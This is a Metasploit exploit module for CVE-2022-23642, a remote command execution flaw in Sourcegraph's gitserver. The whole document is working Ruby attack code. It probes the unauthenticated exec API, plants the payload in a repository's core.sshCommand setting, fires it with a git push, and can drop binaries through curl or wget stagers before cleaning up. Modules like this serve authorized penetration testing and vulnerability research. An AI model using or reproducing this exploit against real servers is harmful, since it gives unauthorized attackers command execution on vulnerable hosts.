Sourcegraph gitserver sshCommand Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Sourcegraph gitserver sshCommand RCE',        'Description' => %q{          A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute          arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can          then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a          feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the          commands that are able to be executed through the git exec REST API.        },        'Author' => [          'Altelus1', # github PoC          'Spencer McIntyre' # metasploit module        ],        'References' => [          ['CVE', '2022-23642'],          ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],          ['URL', 'https://github.com/Altelus1/CVE-2022-23642'],        ],        'DisclosureDate' => '2022-02-18', # Public disclosure        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_memory            },          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              # when the OS command is executed, it's executed twice which will cause some of the command stagers to              # be corrupt, these two work even for larger payloads because they're downloaded in a single command              'CmdStagerFlavor' => %w[curl wget],              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper            },          ]        ],        'DefaultOptions' => {          'RPORT' => 3178        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/']),      OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])    ])  end  def check    res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])    return CheckCode::Unknown unless res    if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/      # this is the response if the target repo does exist, highly unlikely since it's randomized      return CheckCode::Vulnerable('Successfully set core.sshCommand.')    elsif res.code == 404 && res.body =~ /"cloneInProgress"/      # this is the response if the target repo does not exist      return CheckCode::Vulnerable    elsif res.code == 400 && res.body =~ /^invalid command/      # this is the response when the server is patched, regardless of if there are cloned repos      return CheckCode::Safe    end    CheckCode::Unknown  end  def exploit    if datastore['EXISTING_REPO'].blank?      @git_repo = send_request_list.sample      fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo      print_status("Using automatically identified repository: #{@git_repo}")    else      @git_repo = datastore['EXISTING_REPO']    end    print_status("Executing #{target.name} target")    @git_origin = Rex::Text.rand_text_alphanumeric(4..11)    git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git"    vprint_status("Using #{@git_origin} as a fake git origin")    send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])    case target['Type']    when :unix_memory      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  end  def cleanup    return unless @git_repo && @git_origin    vprint_status('Cleaning up the git changes...')    # delete the remote that was created    send_request_exec(@git_repo, ['remote', 'remove', @git_origin])    # unset the core.sshCommand value    send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])  ensure    super  end  def send_request_exec(repo, args, timeout = 20)    send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'exec'),      'method' => 'POST',      'data' => {        'Repo' => repo,        'Args' => args      }.to_json    }, timeout)  end  def send_request_list    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'list'),      'method' => 'GET',      'vars_get' => { 'cloned' => 'true' }    })    fail_with(Failure::Unreachable, 'No server response.') unless res    fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)    res.get_json_document  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])    fail_with(Failure::Unreachable, 'No server response.') unless res    unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/      if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false        fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')      end      fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')    end    send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)  endend